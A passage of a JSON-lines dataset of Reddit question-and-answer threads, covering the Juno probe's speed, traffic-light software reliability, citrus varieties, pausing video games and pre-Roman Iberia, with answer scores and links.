deep space travel with people on the ships? ", "So basically, Juno is you on a skateboard. To get going fast (initial launch) you grab onto your buddy's car and they pull you to a decent speed. Also on this road is a car that's going by much, much faster than your buddy's (this is the sun.) Once you're up to speed, this car comes by and you grab on. Now you're going as fast as that car. So Juno does something similar by getting launched from Earth, and then the gravity from the sun pulls it in. But it's not close enough to the sun to get sucked in, just whipped around and launched off like you on your skateboard. ", "Most comments here are missing the main reasons, because **it has nothing to do with slingshots and it isn't going 130,000 Mph yet**.\n\nThere are two main effects going on here:\n\n----\n\nFirst is that we need to distinguish what speed it's going *relative to what*.  \n\n[We launched it on a path that just barely flies up to Jupiter's orbit without going sideways very fast.](_URL_0_).  It is currently only going about 5400 mph (2.4 km/s) relative to the sun, practically just hanging out there in the top of its orbit, waiting for Jupiter to come up from behind and meet it.\n\nJupiter is moving at about 13 km/s closing in from behind, so relative to Jupiter it's currently moving about 25,000 mph (11 km/s).  So you can see that a lot of its speed relative to Jupiter isn't from Juno going fast, but from it going slowly and Jupiter screaming in from behind.\n\nThese speeds are as of 22:00 July 3 UTC.\n\n----\n\nThe second effect is why tomorrow it will be moving MUCH faster.\n\n[From Jupiter's perspective, Juno is falling down almost directly at it.](_URL_2_)  Jupiter's gravity will keep pulling it in faster and faster over the next day. It will narrowly miss and skim just above the atmosphere, and when it gets to its closest point it will be going about 130,000 Mph (58 km/s) from having fallen so far in Jupiter's strong gravity.\n\nSources for numbers is [NASA's Horizons service](_URL_1_)\n\n----\n\n**TL;DR:** Jupiter's gravity is pulling it in fast and Jupiter is flying at it fast.\n", "Excuse my ignorance I thought things practically disintegrated when they go very fast. Is it a lack of an atmosphere around the satellite that makes a difference?", "Off topic, what happens if a human being is sitting on a spaceship going at 130,000 MPH?", "Basically, in space you can't just fly around like we do here on earth in planes, and like movies such as Star Wars shows. \n\nAll space travel is centered around orbiting, and with the correct calculations and manouvering you can get very high speeds.\n\nIf this interests you, i can greatly recommend Kerbal Space Program for PC.", "Usain Bolt is running laps around a race track. There's also a hamster riding a miniature bicycle slowly around the race track. When Usain Bolt gets to a part of the track near the hamster, it rides its bike next to him and lassoes him with a bungee cord. For a few seconds before the hamster loses its grip on the bungee cord, the hamster steals some of Usain Bolt's momentum, and he slows down a tiny bit, but the hamster ends up going really fast from this brief maneuver."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/explainlikeimfive/comments/4r37z7/eli5_how_did_the_juno_satellite_accelerate_to/d4y2vrb"], [], [], [], ["https://www.nasa.gov/sites/default/files/images/575573main_Juno20110727-3-43_full.jpg", "http://ssd.jpl.nasa.gov/horizons.cgi", "https://static01.nyt.com/newsgraphics/2016/06/28/nasa-juno-mission/4f630d792ad6417526a1ba3e36866e99aa64bda1/arrival-940.png"], [], [], [], []]}
{"q_id": "2wujrq", "title": "What is the 'clock speed' of the universe?", "selftext": "We measure computers by their clock speed, the number of cycles performed per second that a CPU can do. Is there a limit to the timescale at which interactions occur, like the speed of light or the plank length? If we could start and stop a magic stop watch, could we ever record such a small amount of time that there's no possible way for there to have been any change within that time?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2wujrq/what_is_the_clock_speed_of_the_universe/", "answers": {"a_id": ["cou9q4v", "cougrej", "cov0zcm"], "score": [261, 20, 3], "text": ["While some ideas do indeed quantize time, there is no experimental evidence that it is. So, at current understanding, time is infinitely smooth. This does not conflict with the planck time, which is moreso telling us the scale in which a quantum description of gravity would be required. This is something we do not have as of yet.", "This gets into an interesting area because there is decent evidence to suggest that time for the most part doesn't really exist in the way we traditionally think about. What exists are clocks which are really just different human defined scales based on observed interactions under certain conditions. \n\nSo there really wouldn't be a clock for the universe as a whole. Sort of because the idea of time is derived from the universe. It is a little like asking what the clock speed of the clock is. It is ambiguous. \n\nAs has been suggested the closest we could get to answering this question would be planck time. Theoretically if you were to measure the change is a system down to its quantum foundations over one unit of Planck time, the changes observed would be close to negligible for all intents and purposes. ", "I'm going to take this in a different direction from previous commenters:\n\nThe visible universe's clock speed is currently something like 10^-11 Hz.\n\nThe clock speed of a processor is limited by the length of time it takes for a signal to travel along the critical path, which you can think of as the longest wire in the chip, and scales with the size of the chip. This is why processors get faster when you make them smaller.\n\nBy this measure, since the visible universe is something like 93 billion light-years in diameter, the clock speed is about 1/(93 billion) Hz."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "28xmuf", "title": "can anyone explain the movie \"enemy\" with jake gyllenhaal", "selftext": "Last night me and a friend of mine watched the movie \"Enemy\" and we were confused by the end of it. We googled the movie and there are many different explanations for it and i was wondering if anyone can explain it for me.\n\n\nEdit: Everyone should watch this movie then watch the youtube link below.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28xmuf/eli5_can_anyone_explain_the_movie_enemy_with_jake/", "answers": {"a_id": ["cifgeaw"], "score": [2], "text": ["_URL_0_\n\nHeres a nice interpretation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=v9AWkqRwd1I"]]}
{"q_id": "dquiq0", "title": "how software that runs traffic lights avoids fatal errors while consumer programs crash the time", "selftext": "I'm sure they're better optimized, but if that's it, then why can't it be applied to other software is there something else to it? How do designers ensure that vital programs like the ones that operate traffic lights or electrical grids don't crash or malfunction?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dquiq0/eli5_how_software_that_runs_traffic_lights_avoids/", "answers": {"a_id": ["f69w9ye", "f69xedf", "f6aao9y", "f6abnnr", "f6ajisk", "f6arw8c", "f6auhek", "f6b5df6", "f6bzh7h", "f6cegte", "f6cos31", "f6cpgcc", "f6dftnn", "f6ed6p3"], "score": [247, 56, 31, 5, 7, 7, 15, 2, 2, 3, 4, 2, 2, 3], "text": ["They do one comparatively very simple task, all the time, on standardized hardware that's exactly the same for all traffic lights using that software, with few and very well defined inputs, very well defined outputs and if they ever get locked up the hardware running the code has means to detect it and reset. Basically: take everything that applies to general purpose computer environments and it's the opposite.", "If a consumer computer program crashes, one person gets mildly annoyed and that's about it.  If the program controlling a traffic signal crashes, people can get killed in an car accident.  So a lot more effort and money is spent verifying that the traffic control program is provably correct and well-tested in all sorts of bad conditions.\n\n >  then why can't it be applied to other software is there something else to it? \n\nIt helps that traffic control software runs alone on a single piece of hardware and does a relatively simple job.  There are entire classes of bugs that can be avoided by working out every possible state the program can be in and making sure they are all correctly accounted for.  It's a similar methodology to what software that controls airplanes and the space shuttle go through.\n\n >  How do designers ensure that vital programs like the ones that operate traffic lights or electrical grids don't crash or malfunction? \n\nAn absolutely insane amount of engineering work which costs an insane amount of money.  'Formal verification' is the name of this field in computer science.  Consumer products simply can't afford to be that rigorous and still be sold at a price people would pay.  But if your software is used in situations where it absolutely cannot be allowed to fail there is no other option.", "In addition to the answers already here, many have hardware interlocks that only allow one set to be green at a time.", "At a most basic level, digital hardware and software are as close to deterministic as we know how to get.  In other words, for a given set of starting conditions and inputs, the outputs will always be the same.\n\nIt's just that in modern, general-purpose computers and software, there are so many interacting bits and pieces of code that all kinds of little mistakes or assumptions in the writing of that code can lead to unexpected results (bugs and crashes). It is entirely possible to design software that is very reliable - and in some cases even \"provably correct\". In fact, correctness proofs was a hot topic in CS for a while. It's just that actually doing bullet-proof systems of software is very hard, and requires great training and discipline from teams of many, many people. So it rarely happens, except when really needed, like in space shuttle flight control software, for example. 99.9% of software design and production makes some level of compromise to reduce the time and effort to create and release that software.\n\nIn a traffic system the hardware and software can be simple enough to be programmed \"correctly\" to a high degree of certainty, even with reasonable costs. That is not true for most systems.", "No keyboard. A traffic light does not get random input or flaky downloaded games installed. A simple program on an isolated computer will do the same thing forever unless there is a hardware problem.", "Compared to most other software traffic light control is pretty fucking simple... I'm a firmware engineer, the RTOS's I design are several million lines of code... I would love to be paid what I make to write simplistic things like traffic light control code...", "Imagine there were no computers and you had to explain to a human being how to emulate one of these consumer programs. Let's say it's words with friends on an iPhone.\n\nYou have to tell them all the what-ifs about what usernames are allowed, a dictionary of words, how to handle low battery or network issues, multiple chat messages coming in at the same time, multiple apple devices, older operating systems, etc. Thousands of combinations of variables that you need to make sure this person (program) can account for.\n\nNow imagine you're telling a traffic controller how to control an intersection. You give some basic rules (can't have multiple intersecting flows of traffic have a green light at the same time), some advanced rules (leave the light on longer if there are more cars waiting), and tell them that if all else fails, just start blinking red and become stop sign. This is a much more manageable task.\n\nThe number of inputs for a stop light are very small compared to most apps, and the number of things it needs to do are very limited. It's much easier to write code for this sort of super-focused isolated environment.", "For further reading: The function of systems like this is guaranteed by a branch of computer science known as [formal methods](_URL_0_).", "I was in a traffic accident that was caused by fatal error of the traffic lights. All the lights were green and we got rammed by a taxi from the right. I was in the passenger seat, where we got hit, but got away with only a few scratches. When we got out all the traffic lights were off.", "Any normal computer is tasked with listening to the keyboard, figuring out how the mouse pointer is supposed to move, light up and dim down the monitor depending on how dark it is outside, and all kinds of other shit that you really don't need in a traffic light controller. It's a whole lot easier to make a computer stable if the set of instructions it has is a list of behaviour that is so short that you can somewhat easily understand it all.\n\nThe traffic light controller is *just* good at traffic lights. It's incapable of nearly anything else you can think of. It understands the concept of red, yellow and green lights. It understands the buttons for pedestrian requests and it understands the sensors that helps it detect and count cars. But it doesn't understand shit more than that, which means that it's reasonably easy to maintain not only the equipment in the intersection but also reasonably easy to maintain the software that controls it all.\n\nThink about it like this for a bit,\n\n*Sensor 5 says a magnetic signature just passed*\n\nUh, right. Sensor 5. WHAT DO I DO? Oh, I know. I look at the \"sensor five scheme\" and find out what that says. Oh. Sensor five means CAR APPROACHING FROM NORTH. I'll flag north as having a car inbound, then.\n\n*Sensor 4 says a magnetic signature is stationary*\n\nUh. Right. Sensor 4. WHAT DO I DO? Oh. I know. I look at the *sensor four scheme* and find out what it says. Oh. Sensor four means CAR FROM NORTH WANTS TO TURN LEFT. I'll flag north as having car waiting to turn left, then.\n\nTHIS IS SO EXCITING. I LOVE THIS JOB. How many cars do I have waiting? Oh, wait. North has a car. It approached 5 seconds ago and is waiting to turn left since 1 second ago. WHAT DO I DO? Oh. I know this on too! I have a look in the \"car from north wants to turn left scheme\" and find out what it says.\n\nIt says \"flip all the lights to red, wait 10 seconds, then flip NORTH TURNING LEFT to green\". Yay. This is AWESOME. I TOTALLY LOVE DOING THAT. Heeeeeere we gooooo! Yo, north leftie, can you do that awesome turn-off-the-red-blink-yellow-keep-green-on-thing for me? Awesome! Thank you. That worked great.\n\nI've done that for 15 seconds now, and fucking hate left turners. And he should totally be out of the intersection by now anyway, I'll flip all back to red again. You, north leftie, you go red NOOOOOOW!\n\n...\n\n\nNow, you can complicate this all a lot.\n\nYou can put in sensors that are able to differentiate between cars and trucks. (because trucks are heavy and has a longer stop distance than cars. Flipping the light to red right in front of them when they can no longer safely stop is not only a dick move, it has no technical bearing; you will end up with a truck in the middle of the intersection that the controller didn't expect to have there.)\n\nYou can put in so many sensors that you can tell if there is one or many cars waiting in a lane. (because, uh, several cars waiting means that the off ramp that feeds that lane may be getting full. Let's not clog the highway!)\n\nYou can use the sensors to count cars while they are in motion. (it may be nice to know how many cars you will force to stop at the intersection if you flip to red right now, because if they are more than five, one of them may be forced to stop on the crossing tram tracks?)\n\nYou can differentiate between moving and stationary cars. (A stationary car is waiting. His patience is already running up. A moving car is still not really a problem.)\n\nYou can have them trigger timers so that you know exactly how long someone has been waiting at a red light without being served. (there has been studies on traffic behaviour; How long do people wait on a red light that is never flipping over to green in the middle of the night? About three minutes. After that, we all say *\"this bloody thing is broken. Let's look real careful and slowly cross this intersection anyway.\"* And from that you can derive the reasoning that if you force someone to wait for more than three minutes, you will gradually make locals stop respecting the light. You need to pay attention to how long you force anyone to stop.)\n\nYou can put sensors in the middle of the intersection so that you can detect when the intersection is clogged and there is no use letting cars into it any more. (kind of self explanatory. EMPTY the intersection, THEN let in new vehicles.)\n\nYou can detect when cars actually exit the intersection to establish where the cars you let in actually leave. Because if you know, you can tell the controller further down the road what kind of shit is coming his way. \n\n*(and modern controllers tend to do this with a camera and a small computer that analyses the picture instead of sensors in the pavement.)*\n\nThe whole idea is that if the controller has no input what so ever, all the lights are red. When a sensor says that a car is approaching and has a certain behaviour, it flips over to a set of instructions that it follows until that set of instructions is depleted, and then it goes back to red again. And waits for something new to happen that it has to react to.\n\nMost instructions are sort of expressed as \"keep light green for at least 15 seconds, reset timer every time a new car approaches. But if a car approaches that wants to move in a direction that interferes with this green light, don't let them wait more than 60 seconds if we can count to more than five cars in the intersection and no more than 20 seconds if there are less than five cars in the intersection.\"\n\nAnd you can put up sensors that detect the flashing lights of emergency vehicles. An intersection that knows what it's doing flips the entire intersection to red, and then it flips ALL THE LANES to green from the direction the ambulance is coming from so that the ambulance gets free access to any lane and any direction.\n\nAnd you can have dedicated bus lanes, where all the buses have a radio transponder so that the intersection only reacts when there is an actual bus in the lane, and not just a large truck.\n\nAnd so on and so on. But. It's still the same type of thinking. *Sensor X reports behaviour Y*. \"Uh, right. I have to look that up. What am I supposed to do now? Oh. It's a pedestrian? Crossing 8 lanes? I better turn them all off, then.\"\n\nAnd, mind you, a smart programmer also writes in behaviours that fit together. Because, technically speaking, you can allow two opposing left-turns at the same time in the intersection. They are not supposed to interfere with each other. And you can write in four right-turns at the same time. They are not interfering with each other. And while you let a pedestrian across, you can also serve two right-turns in the other half of the intersection.\n\nBut. Compared to a personal computer all that it does all the time to function, it's still just a very, very short list of capabilities and a very short list of behaviour. And that is what makes it so stable. It's not really doing that much, and since it isn't, it's relatively easy to ensure that it does all it's supposed to do in a way that is proper and reliable.", "Because nobody shows up in the programmers office halfway through the project and says \"Brad in Marketing told the customer we could add a purple light, so just slip that in somewhere, k?\"  \n\nSeriously.  Most software projects are plagued by a series of constantly changing requirements that have little or no thought put into how they will effect the product in the long term.", "Given the red lights I continually hit the software has already crashed and burnt the building down.", "The engineers for the lights make a different set of compromises from the engineers who make consumer software.\n\nConsumer software people prioritize features because the risk of not focusing on reliability is minimal. A crash just loses work and time. The light engineers prioritize doing a few things reliably because it's a matter of life and death.", "They fail all the time, when they do, they go into a failsafe mode, usually flashing red in all directions.\n\nWhen software is tested, it isn't just a matter of whether it works or not, it is a matter of degree.  A video game that fails to start one time in a hundred might be annoying, but that is something a user can live with, a developer might decide their limited time is best spent elsewhere.  A traffic signal controller that fails that often is a no-go, they will fix that bug before doing anything else, and test to ensure its failure rate is something like one in a million.\n\nThis is a class of programming called real-time systems, using in factories, life support systems, airplane, cars, financial transactions, and any system where a program just can't give up when it fails or get slow when things get slow.  Part of real-time is keeping things simpler and testing the hell out of them, and part is failing gracefully and reverting to some safe, predictable default behavior when the unexpected happens.  If the computer is supposed to slow down the engine if it gets too hot, and suddenly isn't getting any temperature data, it should slow the engine down to a safe level until the situation is resolved."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Formal_methods"], [], [], [], [], [], []]}
{"q_id": "31k4f7", "title": "My mother once told me that there was a time (before at least the 1980's) when people did not use the word \"Cancer\" when discussing the disease. What was the reason for this taboo in the US?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31k4f7/my_mother_once_told_me_that_there_was_a_time/", "answers": {"a_id": ["cq2cqmh"], "score": [19], "text": ["As far as I can tell the premise of your question is flawed.  I haven't been able to find anything that shows there was any national taboo surrounding the word \"cancer\" prior to the 1980's.  Rather I've found several sources from the era in question that *do* use the word.  *Edit:  [Example #1](_URL_1_), [Example #2](_URL_0_)*\n\nThis is not to say that there has never been taboo surrounding cancer, or that euphemisms have never been employed to reference it.  Simply that I can find no evidence that there was a widespread national taboo on the word prior to the 1980's."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/War_on_Cancer#National_Cancer_Act_of_1971", "http://en.wikipedia.org/wiki/National_Cancer_Institute"]]}
{"q_id": "64ar8x", "title": "what's the difference between clementines, tangerines and mandarins?", "selftext": "Edit: Damn, front page, thanks you guys. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/64ar8x/eli5_whats_the_difference_between_clementines/", "answers": {"a_id": ["dg0qz5j", "dg0r6cm", "dg11h8j", "dg12fcr", "dg12j1u", "dg12qoo", "dg12s0e", "dg12vev", "dg14309", "dg1438l", "dg1452p", "dg14kgu", "dg16fml", "dg16l7y", "dg176nx", "dg19nfv", "dg1dptp", "dg1f5l0", "dg1furx", "dg1gepi", "dg1hs40", "dg1jyou", "dg1ntck"], "score": [280, 3028, 44, 3, 22, 30, 7, 1917, 59, 2, 3, 141, 7, 2, 9, 5, 2, 4, 6, 3, 2, 2, 2], "text": ["Tangerine is a generic name for mandarins used interchangeable with mandarin in the US.  However in grocery stores it is often indicates seedy types versus the ones sold as clementines.\n\nClementines are originally a specific cultivar of mandarin, the Algerian Clementine, but since it became popular it has become a generic name for seedless easily peeled mandarins.  When you buy clementines/cuties/halos they are one of about four specific types depending on the season.  \n\nMandarins are a general term for the parent citrus the bred oranges, grapefruits, etc and there are many many varieties.  Oranges are 75% mandarin 25% pummelo.  Grapefruits are 50% mandarin 50% pummelo.  ", "I am not botanist but I do like me my citrus fruit so I will take a stab at this. Basically mandarins are naturally occurring citrus fruits, along with the pomelo, citron and Papeda. Tangerines are a descendant of mandarins or closely related to mandarins from Morocco. Clementines are a human made hybrid of oranges and mandarins. Now that we are to oranges, they are a hybrid of pomelo and mandarins. Most citrus fruit you eat and can find are generally hybrids of the first four there.\n\nEdit: I apparently need to learn how to count...", "My Nanna told me that the nursery rhyme \"Oranges and lemons say the bells of St. Clements\" was a play on words referring to the fruit Clementines being an orange/lemon hybrid. My Nanna could have been full of shit. ", "If you find a stone in a clementine, it means the clementine tree has been close to a lemon tree. Clementines are sterile by design.\n\nAt least that's what I've been told.", "In New Zealand a mandarin is small, sweet, not much juice, a squashed shape and most importantly very easy to peel. \n \nA tangerine is larger, (but not as big as an orange)more tart, much juicier and nearly impossible to peel by hand. \n\nHave no clue about clementines. ", "What is a satsuma then?\nEDIT: I agree with all of you on satsumas being the best", "Anyone remember that book \"Tangerine?\"", "I think [this diagram](_URL_1_) explains it pretty nicely.\n\nIt shows how many seemingly nonrelated citrus fruits in a nice Venn-diagram-style.\n\n[Link](_URL_0_) to the homepage where I found it.\n\nEDIT: Some more info as requested by the mods.", "Since a lot of people is talking about the families and botanic procedure I'm gonna try to give you some insight about what's more practical:\n\nMandarins are the \"smallest\" of the family and also the most sweet. Their skin can be peeled easily and they are quite sweet and tasty. Clementines are the closest to mandarins. They are not that tasty and their skin is thicker. However they're cheaper to produce and can also be peeled by hand.\n\nTangerines are a hybrid between mandarins and oranges. Their inner structure is very similar to mandarins (you can separate them by hand) but are bigger as an orange and their skin varies its thickness. They are usually good to eat. Oranges are, well, oranges. They have the thickest skin and must be peeled with a knife or similar. They're ones that are better for juice than others but can't be separated as the other three and also depending on the sub species are sweeter or mor acid", "In the northeast US at least, whatever is sold as \"clementines\" definitely have seeds. One specific brand would be \"Darling Clementine\", and they're sold in balsa wood boxes/crates", "Which ones are the ones with puffy, very easy to peel skin, no seeds, and sweet  &  juicy... clementines?", "I'm going to give a different, musical, perspective on this.\n\n1.  Clementine is from this [folk song](_URL_3_):\n\n    Near a cavern, across from a canyon,  \n    Excavating for a mine,  \n    Lived a miner, forty-niner  \n    And his daughter Clementine  \n\n    Oh my Darling, Oh my Darling,  \n    Oh my Darling Clementine.  \n    You are lost and gone forever,  \n    Dreadful sorry, Clementine.  \n\n & nbsp;2.  Tangerine is from [this song](_URL_0_):\n\n    Picture yourself in a boat on a river  \n    With tangerine trees and marmalade skies  \n    Somebody calls you, you answer quite slowly  \n    A girl with kaleidoscope eyes  \n\n\n\n & nbsp;3.  The odd one out is the mandarin, which is from [the miraculous mandarin](_URL_1_)\n\nBasically it's classical music for old people.  According to Wikipedia \"it caused a scandal and was subsequently banned on moral grounds.\"  [From Wikipedia](_URL_2_).  Basically, it was like ballet-porn.\n\n\nSo I hope this clears up at least the musical history.", "You forgot Tangelo.  You should find some right now and eat the whole bag.  It's what Jesus would want. ", "There is a GREAT podcast about this very topic, and the Mafia as well:[](_URL_0_) ", "There is some difference between USA and Canada here. Canada (especially western Canada) has been importing Mandarin oranges from Japan and China for 100+ years. The further south the orange grew, the longer the growing season, and the thicker the peel. Eastern Canada mainly consumes clementines from Morocco and South Africa. All of Canada also imports \"regular\" full-size oranges from the USA. Citrus trade in the US has been very different because the USA produces oranges and lobbies against imports. My understanding is that Mandarin oranges (from Asia) are still very rare in most US markets.", "Where I grew up (Western Canada), mandarin oranges are sold by the box in grocery stores at Christmas, and it is traditional to get at least one in the toe of your stocking. I was told that this is a holdover from when exotic fruits were considered a rare treat. \n\nThe mandarins I know are typically squat, somewhat oblong shaped. They have a slightly thicker skin that is nevertheless very easy to peel, and they tend to be tart-ish. \n\nIn Ontario, clementines seem to be much more prevalent\u2014all year round, but also at Christmastime. They seem to be considerably smaller than mandarins, with a thinner skin. I find them somewhat tasteless, but that may be because I'm used to the 'zingier' flavour of mandarins. ", "After reading this thread I'm SO glad I have an orange in the fridge to eat! Craving citrus so much after this :)", "Aren't mandarines chinese people?\n\n(Sorry, not sorry)", "A new discovery to me has been cara cara oranges. Never been a huge orange fan but the cara cara orange is spectacular. Low acidity and sweet. ", "A clementine is a type of citrus fruit. It has a bright orange rind. They have a diameter of about 3 to 5 inches. Clementines are easy to peel and have no seeds. They are grown in California, and are usually available from November to January.\n\n_URL_0_\n\nA tangerine is citrus fruit related to the mandarin orange. Tangerines are smaller and easier to peel than common oranges. The taste is considered less sour, but sweeter and stronger, than that of an orange.[1]\n\n_URL_1_\n\nThe Mandarin orange, also known as the mandarin or mandarine (both lower-case), is a small citrus tree (Citrus reticulata) with fruit that looks like other oranges. Mandarin oranges are usually eaten plain or in fruit salads. The mandarin is tender, and is damaged easily by cold. It can be grown in tropical and subtropical areas.\n\n_URL_3_\n\nWhether it's a Cutie or a Halo it is a mandarin. A mandarin is \u201ca small flattish citrus fruit with a loose skin, especially a variety with yellow-orange skin\u201d (thank you Google dictionary). It does not have to be seedless but in the case of Cuties and Halos, it is.Dec 3, 2014\n\n_URL_2_", "Then who are the Dutch?", "Tangerines are NOT oranges. they're tangerines!\n\n the difference between Clementines and Manderins are like the difference between a Scotch Terrier and a Cocker Spanal\n\n\nthe tangerine would be the grey fox in that same analogy", "[Minneola tangelos](_URL_0_) are my favorite. Part Duncan grapefruit, part Dancy tangerine. Very high water content and sweetness. Excellent for juice and cocktails."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://www.cutsquash.com/2012/01/what-is-an-orange/", "http://cutsquash.com/media/images/citrus_big.jpg"], [], [], [], ["https://www.youtube.com/watch?v=xxaOItEmu3U", "https://www.youtube.com/watch?v=PdTTPOEvZiY", "https://en.wikipedia.org/wiki/The_Miraculous_Mandarin", "https://www.youtube.com/watch?v=arL3QzNBc6A"], [], ["https://gastropod.com/museums-mafia-secret-history-citrus/"], [], [], [], [], [], ["https://simple.wikipedia.org/wiki/Clementine", "https://simple.wikipedia.org/wiki/Tangerine", "http://www.eatlikenoone.com/what-is-the-difference-between-cuties-halos.htm", "https://simple.wikipedia.org/wiki/Mandarin_orange"], [], [], ["https://en.wikipedia.org/wiki/Tangelo#Minneola"]]}
{"q_id": "6la37b", "title": "what happens when you pause a video game?", "selftext": "Occasionally, I'll tab out of a game or something of a similar nature and leave the game in pause\n\nlike, what happens to the game and everything in it? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6la37b/eli5what_happens_when_you_pause_a_video_game/", "answers": {"a_id": ["djs8iwj", "djsh4jx", "djtewvt"], "score": [11, 5, 2], "text": ["I found this one cool and decided to do some google, the first video-game to feature pause was   [Fairchild Channel F](_URL_0_), probably different video-games had different systems for implementing pause. But the basic are as follows. \n\nThe buttons on your controllers/console generate electric signals to a buffer, ie the console store the sequence of commands and runs it according to the game source code. When you press pause you generate what we call an interruption, it is a special instruction/signal with maximum priority which is promptly executed.  The pause stops the game code execution and basically places it in a loop which will run until the same interruption is generated again (unpause).", "Most game are [state machine](_URL_0_). Different state of a game might be title screen, loading the game, paused, end of game... So when you press pause (and you're in the state playing game), there is a change of state that put you in the paused state. Depending of the game this can be a menu for you to manage you inventory of simply a loop that waits for the player to unpause to get back into the playing game state.", "As other people have said its simply a loop function.  ie.  \n\nIf START BUTTON is pressed then PAUSE = 1\n\n\nif PAUSE = 1 then go to PAUSE MENU\n\n\nif PAUSE  <  >  (doesnt equal) 1 then PLAY GAME\n\n\nIts not quite like that obviously.  but its ELI5\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Fairchild_Channel_F"], ["https://en.wikipedia.org/wiki/Finite-state_machine"], []]}
{"q_id": "2kk4z1", "title": "Who were the original inhabitants of Iberia before the Romans invaded and what happened to them?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2kk4z1/who_were_the_original_inhabitants_of_iberia/", "answers": {"a_id": ["clm6iim", "clmf5h0"], "score": [7, 10], "text": ["I am not an expert in this topic; i have however studied Roman Culture and expansionism.\n\nIberia, now known as Spain and Portugal, had many different subsets of cultures. There were people known as \"Iberians\" who were located on the south-east portion of the landmass. The rest was a bit of a mix, but the largest groups after 200 BC were the Aquitanes, Celts (which comprised of hundreds of different tribes) and eventually a small group of Phoenicians aka Carthaginians. \n\nFrom what we've been able to gather, Rome eventually conquered the peninsula; some of the cultures (Iberians) integrated with the Latin Culture while others (Carthage) were subsequently driven out or destroyed. \n\nEdit: the guy below me knows way more than I do.  Read his comment,  not mine", "The culture of Pre-Roman Iberia was an interesting melting pot, actually.\n\nThe \"native\" peoples of the Iberian Peninsula were a fairly typical Indo-European society that focused on their natural deities and forces, while living in somewhat decentralized social centres. The culture that was largely maintained by the time the Carthaginians and Greeks would have had any presence on the peninsula (c. 800 BCE) would have been Celt-Iberian, due to the massive Celtic migrations of the Bronze Age. This type of mass migration is also why we see the Celtization of Illyria in the East, and has been used as an explanation for the Dorian influx into Greece centuries earlier. Such proliferation of the Celtic culture has been suspected to explain the existence of hill-fort cities throughout Europe.\n\nThe development of this Celt-Iberian culture lead to the major ethnic identities that we would become aware of - and that the ancient major players would struggle to overcome in Iberia - by the time of the Punic Wars. The Greeks had long been settling throughout the Mediterranean, and major poleis of any influence in the West being Emporion (near the Pyrenees mountains on the Eastern coast of Iberia), Massalia (present-day Marseille) - which would have had trading influences with the Iberians - , and obviously the well-known poleis in and around Italy that I shan't delve into, as they won't impact our point with Iberia. The two mentioned had the most influence and impact - specifically Emporion - in the Pre-Roman Iberian landscape.\n\nThe Greeks of Emporion would have handled much of the trade of North-Eastern Iberia, and the further inland you went would have been met with the fracturing ethnic landscape of Iberia. \n\nIn the wild northlands, the Gallaeci were the major Celt-Iberian players. Less like their Iberian brethren in central and western Iberia, the tribes of the Gallaeci and their nearby neighbors were of the mixed Celt-Iberian identity. These Celt-Iberians were the same lads that would cause the Romans so much grief during and after the Punic Wars.\n\nIn the Iberian centre and east is where the Celtic influence would take its weakest hold. These tribes - most notably the Lusitani and Arevaci - were fierce and independent people, and proved nearly unconquerable to the Celtic deluge that swept through the peninsula all those centuries before. Though there was always interbreeding among peoples, the central and eastern tribes maintained a strong Iberian identity. \n\nNow, modern day Portugal did house a portion of the Lustani, as the country itself is hard territory to fully control. But, it also housed another major Celt-Iberian tribe: the Celtici. Their name, alone, lends itself to that fact that they had become something not entirely Iberian, but they were clearly influenced by their assimilation of many Iberian influences and cultural aspects into the Celtic identity. \n\nThe south of Iberia had the strongest Phoenician [Carthaginian] influence of all, but also housed a unique form of Iberian culture in the Baetica Depression. The Tartessian Iberians were the ancestors of what would become - among other, less notable tribes - the Turdetani. The Turdetani and other Tartessian influenced Iberians were the tribes in immediate and direct communication and conflict with the Phoenician colonies of southern Spain.\n\nA useful map can be seen [here] (_URL_0_) which gives a physical idea of the strange lines drawn up by these native ethnic groups after the influx of Celts, and immediately before the Romans began their long exploitation of the Iberian Peninsula. It does not include the small pockets of Phoenicians and Greeks that would have been in the South and East of Iberia, but they are easily discovered with very little prodding (Carthago Nova being the most influential and important Phoenician colony, Emporion the Greek equivalent).\n\nSome good reading on what the Romans encountered includes Robin Lane Fox's *Classical World: An Epic History from Homer to Hadrian*, Barry Cunliffe's *The Ancient Celts*, and Graham Robb's *The Discovery of Middle Earth: Mapping the Lost World of the Celts*.\n\nAlso note that the Celtic Migrations and Pre-Roman Iberia are points of contention, in many ways, as it is somewhat difficult to discern the exact nature and happenings at that [vague] point in history. What one should account for is the fiercely independent streak inherent in almost all the Iberian peoples, as well as their strong and courageous character. Once incorporated into the Roman fold, Spaniards would produce some of the most famous Romans to grace the pages of history, as would a few other fierce and independent peoples that gave Rome some of its hardest struggles - who can't help but wonder at the Illyrian Generals which would help to shore up the Western Empire before its fall? Read on! The few books I've provided are fun ways to expand!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Lusitanians#mediaviewer/File:Ethnographic_Iberia_200_BCE.PNG"]]}
